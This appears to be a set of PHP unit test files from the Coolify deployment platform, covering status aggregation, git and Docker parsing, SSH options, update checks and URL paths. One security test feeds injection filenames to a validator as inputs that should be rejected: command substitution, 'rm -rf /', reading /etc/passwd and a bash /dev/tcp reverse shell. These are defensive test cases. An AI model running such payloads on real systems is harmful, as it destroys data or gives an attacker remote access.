$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('running:unknown');
});
it('handles restarting status as degraded', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('restarting:unhealthy', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('degraded:unhealthy');
});
it('handles paused status', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('paused:unknown', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('paused:unknown');
});
it('handles dead status as degraded', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('dead:unhealthy', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('degraded:unhealthy');
});
it('handles removing status as degraded', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('removing:unhealthy', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('degraded:unhealthy');
});
it('handles created status', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('created:unknown', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('starting:unknown');
});
it('aggregates status from both applications and databases', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:healthy', excludeFromStatus: false);
$db1 = makeResource('running:healthy', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect([$db1]));
expect($service->status)->toBe('running:healthy');
});
it('detects unhealthy when database is unhealthy', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:healthy', excludeFromStatus: false);
$db1 = makeResource('running:unhealthy', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect([$db1]));
expect($service->status)->toBe('running:unhealthy');
});
it('skips containers with :excluded suffix in non-excluded aggregation', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:healthy', excludeFromStatus: false);
$app2 = makeResource('exited:excluded', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
// Should skip app2 because it has :excluded suffix
expect($service->status)->toBe('running:healthy');
});
it('strips :excluded suffix when processing excluded containers', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:healthy:excluded', excludeFromStatus: true);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('running:healthy:excluded');
});
it('returns exited when excluded containers have no valid status', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('', excludeFromStatus: true);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('exited');
});
it('handles all excluded containers with degraded state', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:healthy', excludeFromStatus: true);
$app2 = makeResource('exited', excludeFromStatus: true);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('degraded:unhealthy:excluded');
});
it('handles all excluded containers with unknown health', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:unknown', excludeFromStatus: true);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('running:unknown:excluded');
});
it('handles exited containers correctly', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('exited', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('exited');
});
it('prefers running over starting status', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('starting:unknown', excludeFromStatus: false);
$app2 = makeResource('running:healthy', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('running:healthy');
});
it('treats empty health as healthy', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('running:healthy');
});
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/GitLsRemoteParsingTest.php | tests/Unit/GitLsRemoteParsingTest.php | <?php
uses(\Tests\TestCase::class);
it('extracts commit SHA from git ls-remote output without warnings', function () {
$output = "196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('extracts commit SHA from git ls-remote output with redirect warning on separate line', function () {
$output = "warning: redirecting to https://tangled.org/@tangled.org/core/\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('extracts commit SHA from git ls-remote output with redirect warning on same line', function () {
// This is the actual format from tangled.sh - warning and result on same line, no newline
$output = "warning: redirecting to https://tangled.org/@tangled.org/core/196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('extracts commit SHA from git ls-remote output with multiple warning lines', function () {
$output = "warning: redirecting to https://example.org/repo/\ninfo: some other message\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/main";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('handles git ls-remote output with extra whitespace', function () {
$output = " 196d3df7665359a8c8fa3329a6bcde0267e550bf \trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('extracts commit SHA with uppercase letters and normalizes to lowercase', function () {
$output = "196D3DF7665359A8C8FA3329A6BCDE0267E550BF\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
// Git SHAs are case-insensitive, so we normalize to lowercase for comparison
expect(strtolower($commit))->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('returns null when no commit SHA is present in output', function () {
$output = "warning: redirecting to https://example.org/repo/\nError: repository not found";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBeNull();
});
it('returns null when output has tab but no valid SHA', function () {
$output = "invalid-sha-format\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBeNull();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerImageParserTest.php | tests/Unit/DockerImageParserTest.php | <?php
use App\Services\DockerImageParser;
it('parses regular image with tag', function () {
$parser = new DockerImageParser;
$parser->parse('nginx:latest');
expect($parser->getImageName())->toBe('nginx')
->and($parser->getTag())->toBe('latest')
->and($parser->isImageHash())->toBeFalse()
->and($parser->toString())->toBe('nginx:latest');
});
it('parses image with sha256 hash using colon format', function () {
$parser = new DockerImageParser;
$hash = '59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf0';
$parser->parse("ghcr.io/benjaminehowe/rail-disruptions:{$hash}");
expect($parser->getFullImageNameWithoutTag())->toBe('ghcr.io/benjaminehowe/rail-disruptions')
->and($parser->getTag())->toBe($hash)
->and($parser->isImageHash())->toBeTrue()
->and($parser->toString())->toBe("ghcr.io/benjaminehowe/rail-disruptions@sha256:{$hash}")
->and($parser->getFullImageNameWithHash())->toBe("ghcr.io/benjaminehowe/rail-disruptions@sha256:{$hash}");
});
it('parses image with sha256 hash using at sign format', function () {
$parser = new DockerImageParser;
$hash = '59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf0';
$parser->parse("nginx@sha256:{$hash}");
expect($parser->getImageName())->toBe('nginx')
->and($parser->getTag())->toBe($hash)
->and($parser->isImageHash())->toBeTrue()
->and($parser->toString())->toBe("nginx@sha256:{$hash}")
->and($parser->getFullImageNameWithHash())->toBe("nginx@sha256:{$hash}");
});
it('parses registry image with hash', function () {
$parser = new DockerImageParser;
$hash = 'abc123def456789abcdef123456789abcdef123456789abcdef123456789abc1';
$parser->parse("docker.io/library/nginx:{$hash}");
expect($parser->getFullImageNameWithoutTag())->toBe('docker.io/library/nginx')
->and($parser->getTag())->toBe($hash)
->and($parser->isImageHash())->toBeTrue()
->and($parser->toString())->toBe("docker.io/library/nginx@sha256:{$hash}");
});
it('parses image without tag defaults to latest', function () {
$parser = new DockerImageParser;
$parser->parse('nginx');
expect($parser->getImageName())->toBe('nginx')
->and($parser->getTag())->toBe('latest')
->and($parser->isImageHash())->toBeFalse()
->and($parser->toString())->toBe('nginx:latest');
});
it('parses registry with port', function () {
$parser = new DockerImageParser;
$parser->parse('registry.example.com:5000/myapp:latest');
expect($parser->getFullImageNameWithoutTag())->toBe('registry.example.com:5000/myapp')
->and($parser->getTag())->toBe('latest')
->and($parser->isImageHash())->toBeFalse();
});
it('parses registry with port and hash', function () {
$parser = new DockerImageParser;
$hash = '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef';
$parser->parse("registry.example.com:5000/myapp:{$hash}");
expect($parser->getFullImageNameWithoutTag())->toBe('registry.example.com:5000/myapp')
->and($parser->getTag())->toBe($hash)
->and($parser->isImageHash())->toBeTrue()
->and($parser->toString())->toBe("registry.example.com:5000/myapp@sha256:{$hash}");
});
it('identifies valid sha256 hashes', function () {
$validHashes = [
'59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf0',
'1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890',
];
foreach ($validHashes as $hash) {
$parser = new DockerImageParser;
$parser->parse("image:{$hash}");
expect($parser->isImageHash())->toBeTrue("Hash {$hash} should be recognized as valid SHA256");
}
});
it('identifies invalid sha256 hashes', function () {
$invalidHashes = [
'latest',
'v1.2.3',
'abc123', // too short
'59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf', // too short
'59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf00', // too long
'59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cfg0', // invalid char
];
foreach ($invalidHashes as $hash) {
$parser = new DockerImageParser;
$parser->parse("image:{$hash}");
expect($parser->isImageHash())->toBeFalse("Hash {$hash} should not be recognized as valid SHA256");
}
});
it('correctly parses and normalizes image with full digest including hash', function () {
$parser = new DockerImageParser;
$hash = '59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf0';
$parser->parse("nginx@sha256:{$hash}");
expect($parser->getImageName())->toBe('nginx')
->and($parser->getTag())->toBe($hash)
->and($parser->isImageHash())->toBeTrue()
->and($parser->getFullImageNameWithoutTag())->toBe('nginx')
->and($parser->toString())->toBe("nginx@sha256:{$hash}");
});
it('correctly parses image when user provides digest-decorated name with colon hash', function () {
$parser = new DockerImageParser;
$hash = 'deadbeef1234567890abcdef1234567890abcdef1234567890abcdef12345678';
// User might provide: nginx@sha256:deadbeef...
// This should be parsed correctly without duplication
$parser->parse("nginx@sha256:{$hash}");
$imageName = $parser->getFullImageNameWithoutTag();
if ($parser->isImageHash() && ! str_ends_with($imageName, '@sha256')) {
$imageName .= '@sha256';
}
// The result should be: nginx@sha256 (name) + deadbeef... (tag)
// NOT: nginx:deadbeef...@sha256 or nginx@sha256:deadbeef...@sha256
expect($imageName)->toBe('nginx@sha256')
->and($parser->getTag())->toBe($hash)
->and($parser->isImageHash())->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/SshMultiplexingDisableTest.php | tests/Unit/SshMultiplexingDisableTest.php | <?php
namespace Tests\Unit;
use App\Helpers\SshMultiplexingHelper;
use Tests\TestCase;
/**
* Tests for SSH multiplexing disable functionality.
*
* These tests verify the parameter signatures for the disableMultiplexing feature
* which prevents race conditions when multiple scheduled tasks run concurrently.
*
* @see https://github.com/coollabsio/coolify/issues/6736
*/
class SshMultiplexingDisableTest extends TestCase
{
public function test_generate_ssh_command_method_exists()
{
$this->assertTrue(
method_exists(SshMultiplexingHelper::class, 'generateSshCommand'),
'generateSshCommand method should exist'
);
}
public function test_generate_ssh_command_accepts_disable_multiplexing_parameter()
{
$reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'generateSshCommand');
$parameters = $reflection->getParameters();
// Should have at least 3 parameters: $server, $command, $disableMultiplexing
$this->assertGreaterThanOrEqual(3, count($parameters));
$disableMultiplexingParam = $parameters[2] ?? null;
$this->assertNotNull($disableMultiplexingParam);
$this->assertEquals('disableMultiplexing', $disableMultiplexingParam->getName());
$this->assertTrue($disableMultiplexingParam->isDefaultValueAvailable());
$this->assertFalse($disableMultiplexingParam->getDefaultValue());
}
public function test_disable_multiplexing_parameter_is_boolean_type()
{
$reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'generateSshCommand');
$parameters = $reflection->getParameters();
$disableMultiplexingParam = $parameters[2] ?? null;
$this->assertNotNull($disableMultiplexingParam);
$type = $disableMultiplexingParam->getType();
$this->assertNotNull($type);
$this->assertEquals('bool', $type->getName());
}
public function test_instant_remote_process_accepts_disable_multiplexing_parameter()
{
$this->assertTrue(
function_exists('instant_remote_process'),
'instant_remote_process function should exist'
);
$reflection = new \ReflectionFunction('instant_remote_process');
$parameters = $reflection->getParameters();
// Find the disableMultiplexing parameter
$disableMultiplexingParam = null;
foreach ($parameters as $param) {
if ($param->getName() === 'disableMultiplexing') {
$disableMultiplexingParam = $param;
break;
}
}
$this->assertNotNull($disableMultiplexingParam, 'disableMultiplexing parameter should exist');
$this->assertTrue($disableMultiplexingParam->isDefaultValueAvailable());
$this->assertFalse($disableMultiplexingParam->getDefaultValue());
}
public function test_instant_remote_process_disable_multiplexing_is_boolean_type()
{
$reflection = new \ReflectionFunction('instant_remote_process');
$parameters = $reflection->getParameters();
// Find the disableMultiplexing parameter
$disableMultiplexingParam = null;
foreach ($parameters as $param) {
if ($param->getName() === 'disableMultiplexing') {
$disableMultiplexingParam = $param;
break;
}
}
$this->assertNotNull($disableMultiplexingParam);
$type = $disableMultiplexingParam->getType();
$this->assertNotNull($type);
$this->assertEquals('bool', $type->getName());
}
public function test_multiplexing_is_skipped_when_disabled()
{
// This test verifies the logic flow by checking the code path
// When disableMultiplexing is true, the condition `! $disableMultiplexing && self::isMultiplexingEnabled()`
// should evaluate to false, skipping multiplexing entirely
// We verify the condition logic:
// disableMultiplexing = true -> ! true = false -> condition is false -> skip multiplexing
$disableMultiplexing = true;
$this->assertFalse(! $disableMultiplexing, 'When disableMultiplexing is true, negation should be false');
// disableMultiplexing = false -> ! false = true -> condition may proceed
$disableMultiplexing = false;
$this->assertTrue(! $disableMultiplexing, 'When disableMultiplexing is false, negation should be true');
}
}
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/PostgresqlInitScriptSecurityTest.php | tests/Unit/PostgresqlInitScriptSecurityTest.php | <?php
/**
* PostgreSQL Init Script Security Tests
*
* Tests to ensure PostgreSQL init script management is protected against
* command injection attacks via malicious filenames.
*
* Related Issues: #3, #4 in security_issues.md
* Related Files: app/Livewire/Project/Database/Postgresql/General.php
*/
test('postgresql init script rejects command injection in filename with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('test; rm -rf /', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('test | whoami', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('test`id`', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('test && whoami', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/evil', 'init script filename'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/passwd', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1)', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script escapes filenames properly', function () {
$filename = "init'script.sql";
$escaped = escapeshellarg($filename);
expect($escaped)->toBe("'init'\\''script.sql'");
});
test('postgresql init script escapes special characters', function () {
$filename = 'init script with spaces.sql';
$escaped = escapeshellarg($filename);
expect($escaped)->toBe("'init script with spaces.sql'");
});
test('postgresql init script accepts legitimate filenames', function () {
expect(fn () => validateShellSafePath('init.sql', 'init script filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('01_schema.sql', 'init script filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('init-script.sh', 'init script filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
->not->toThrow(Exception::class);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CheckForUpdatesJobTest.php | tests/Unit/CheckForUpdatesJobTest.php | <?php
use App\Jobs\CheckForUpdatesJob;
use App\Models\InstanceSettings;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Http;
beforeEach(function () {
Cache::flush();
// Mock InstanceSettings
$this->settings = Mockery::mock(InstanceSettings::class);
$this->settings->shouldReceive('update')->andReturn(true);
});
afterEach(function () {
Mockery::close();
});
it('has correct job configuration', function () {
$job = new CheckForUpdatesJob;
$interfaces = class_implements($job);
expect($interfaces)->toContain(\Illuminate\Contracts\Queue\ShouldQueue::class);
expect($interfaces)->toContain(\Illuminate\Contracts\Queue\ShouldBeEncrypted::class);
});
it('uses max of CDN and cache versions', function () {
// CDN has older version
Http::fake([
'*' => Http::response([
'coolify' => ['v4' => ['version' => '4.0.0']],
'traefik' => ['v3.5' => '3.5.6'],
], 200),
]);
// Cache has newer version
File::shouldReceive('exists')
->with(base_path('versions.json'))
->andReturn(true);
File::shouldReceive('get')
->with(base_path('versions.json'))
->andReturn(json_encode(['coolify' => ['v4' => ['version' => '4.0.10']]]));
File::shouldReceive('put')
->once()
->with(base_path('versions.json'), Mockery::on(function ($json) {
$data = json_decode($json, true);
// Should use cached version (4.0.10), not CDN version (4.0.0)
return $data['coolify']['v4']['version'] === '4.0.10';
}));
Cache::shouldReceive('forget')->once();
config(['constants.coolify.version' => '4.0.5']);
// Mock instanceSettings function
$this->app->instance('App\Models\InstanceSettings', function () {
return $this->settings;
});
$job = new CheckForUpdatesJob;
$job->handle();
});
it('never downgrades from current running version', function () {
// CDN has older version
Http::fake([
'*' => Http::response([
'coolify' => ['v4' => ['version' => '4.0.0']],
'traefik' => ['v3.5' => '3.5.6'],
], 200),
]);
// Cache also has older version
File::shouldReceive('exists')
->with(base_path('versions.json'))
->andReturn(true);
File::shouldReceive('get')
->with(base_path('versions.json'))
->andReturn(json_encode(['coolify' => ['v4' => ['version' => '4.0.5']]]));
File::shouldReceive('put')
->once()
->with(base_path('versions.json'), Mockery::on(function ($json) {
$data = json_decode($json, true);
// Should use running version (4.0.10), not CDN (4.0.0) or cache (4.0.5)
return $data['coolify']['v4']['version'] === '4.0.10';
}));
Cache::shouldReceive('forget')->once();
// Running version is newest
config(['constants.coolify.version' => '4.0.10']);
\Illuminate\Support\Facades\Log::shouldReceive('warning')
->once()
->with('Version downgrade prevented in CheckForUpdatesJob', Mockery::type('array'));
$this->app->instance('App\Models\InstanceSettings', function () {
return $this->settings;
});
$job = new CheckForUpdatesJob;
$job->handle();
});
it('uses data_set for safe version mutation', function () {
Http::fake([
'*' => Http::response([
'coolify' => ['v4' => ['version' => '4.0.10']],
], 200),
]);
File::shouldReceive('exists')->andReturn(false);
File::shouldReceive('put')->once();
Cache::shouldReceive('forget')->once();
config(['constants.coolify.version' => '4.0.5']);
$this->app->instance('App\Models\InstanceSettings', function () {
return $this->settings;
});
$job = new CheckForUpdatesJob;
// Should not throw even if structure is unexpected
// data_set() handles nested path creation
$job->handle();
})->skip('Needs better mock setup for instanceSettings');
it('preserves other component versions when preventing Coolify downgrade', function () {
// CDN has older Coolify but newer Traefik
Http::fake([
'*' => Http::response([
'coolify' => ['v4' => ['version' => '4.0.0']],
'traefik' => ['v3.6' => '3.6.2'],
'sentinel' => ['version' => '1.0.5'],
], 200),
]);
File::shouldReceive('exists')->andReturn(true);
File::shouldReceive('get')
->andReturn(json_encode([
'coolify' => ['v4' => ['version' => '4.0.5']],
'traefik' => ['v3.5' => '3.5.6'],
]));
File::shouldReceive('put')
->once()
->with(base_path('versions.json'), Mockery::on(function ($json) {
$data = json_decode($json, true);
// Coolify should use running version
expect($data['coolify']['v4']['version'])->toBe('4.0.10');
// Traefik should use CDN version (newer)
expect($data['traefik']['v3.6'])->toBe('3.6.2');
// Sentinel should use CDN version
expect($data['sentinel']['version'])->toBe('1.0.5');
return true;
}));
Cache::shouldReceive('forget')->once();
config(['constants.coolify.version' => '4.0.10']);
\Illuminate\Support\Facades\Log::shouldReceive('warning')
->once()
->with('CDN served older Coolify version than cache', Mockery::type('array'));
\Illuminate\Support\Facades\Log::shouldReceive('warning')
->once()
->with('Version downgrade prevented in CheckForUpdatesJob', Mockery::type('array'));
$this->app->instance('App\Models\InstanceSettings', function () {
return $this->settings;
});
$job = new CheckForUpdatesJob;
$job->handle();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceParserPathDuplicationTest.php | tests/Unit/ServiceParserPathDuplicationTest.php | <?php
/**
* Unit tests to verify that serviceParser() correctly handles path appending
* to prevent duplication when SERVICE_URL/SERVICE_FQDN variables have path values.
*
* This tests the fix for GitHub issue #7363 where paths like /v1/realtime
* were being duplicated on subsequent parse() calls after FQDN updates.
*/
test('path is added when FQDN does not already contain it', function () {
$fqdn = 'https://test.abc';
$path = '/v1/realtime';
// Simulate the logic in serviceParser()
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
});
test('path is not added when FQDN already contains it', function () {
$fqdn = 'https://test.abc/v1/realtime';
$path = '/v1/realtime';
// Simulate the logic in serviceParser()
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
});
test('multiple parse calls with same path do not cause duplication', function () {
$fqdn = 'https://test.abc';
$path = '/v1/realtime';
// First parse (initial creation)
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
// Second parse (after FQDN update)
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
// Third parse (another update)
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/v1/realtime');
});
test('different paths for different services work correctly', function () {
// Appwrite main service (/)
$fqdn1 = 'https://test.abc';
$path1 = '/';
if ($path1 !== '/' && ! str($fqdn1)->endsWith($path1)) {
$fqdn1 = "$fqdn1$path1";
}
expect($fqdn1)->toBe('https://test.abc');
// Appwrite console (/console)
$fqdn2 = 'https://test.abc';
$path2 = '/console';
if ($path2 !== '/' && ! str($fqdn2)->endsWith($path2)) {
$fqdn2 = "$fqdn2$path2";
}
expect($fqdn2)->toBe('https://test.abc/console');
// Appwrite realtime (/v1/realtime)
$fqdn3 = 'https://test.abc';
$path3 = '/v1/realtime';
if ($path3 !== '/' && ! str($fqdn3)->endsWith($path3)) {
$fqdn3 = "$fqdn3$path3";
}
expect($fqdn3)->toBe('https://test.abc/v1/realtime');
});
test('nested paths are handled correctly', function () {
$fqdn = 'https://test.abc';
$path = '/api/v1/endpoint';
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/api/v1/endpoint');
// Second call should not duplicate
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/api/v1/endpoint');
});
test('MindsDB /api path is handled correctly', function () {
$fqdn = 'https://test.abc';
$path = '/api';
// First parse
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/api');
// Second parse should not duplicate
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
expect($fqdn)->toBe('https://test.abc/api');
});
test('fqdnValueForEnv path handling works correctly', function () {
$fqdnValueForEnv = 'test.abc';
$path = '/v1/realtime';
// First append
if (! str($fqdnValueForEnv)->endsWith($path)) {
$fqdnValueForEnv = "$fqdnValueForEnv$path";
}
expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime');
// Second attempt should not duplicate
if (! str($fqdnValueForEnv)->endsWith($path)) {
$fqdnValueForEnv = "$fqdnValueForEnv$path";
}
expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime');
});
test('url path handling works correctly', function () {
$url = 'https://test.abc';
$path = '/v1/realtime';
// First append
if (! str($url)->endsWith($path)) {
$url = "$url$path";
}
expect($url)->toBe('https://test.abc/v1/realtime');
// Second attempt should not duplicate
if (! str($url)->endsWith($path)) {
$url = "$url$path";
}
expect($url)->toBe('https://test.abc/v1/realtime');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ProxyCustomCommandsTest.php | tests/Unit/ProxyCustomCommandsTest.php | <?php
use App\Enums\ProxyTypes;
use Symfony\Component\Yaml\Yaml;
it('extracts custom proxy commands from existing traefik configuration', function () {
// Create a sample config with custom trustedIPs commands
$existingConfig = [
'services' => [
'traefik' => [
'command' => [
'--ping=true',
'--api.dashboard=true',
'--entrypoints.http.address=:80',
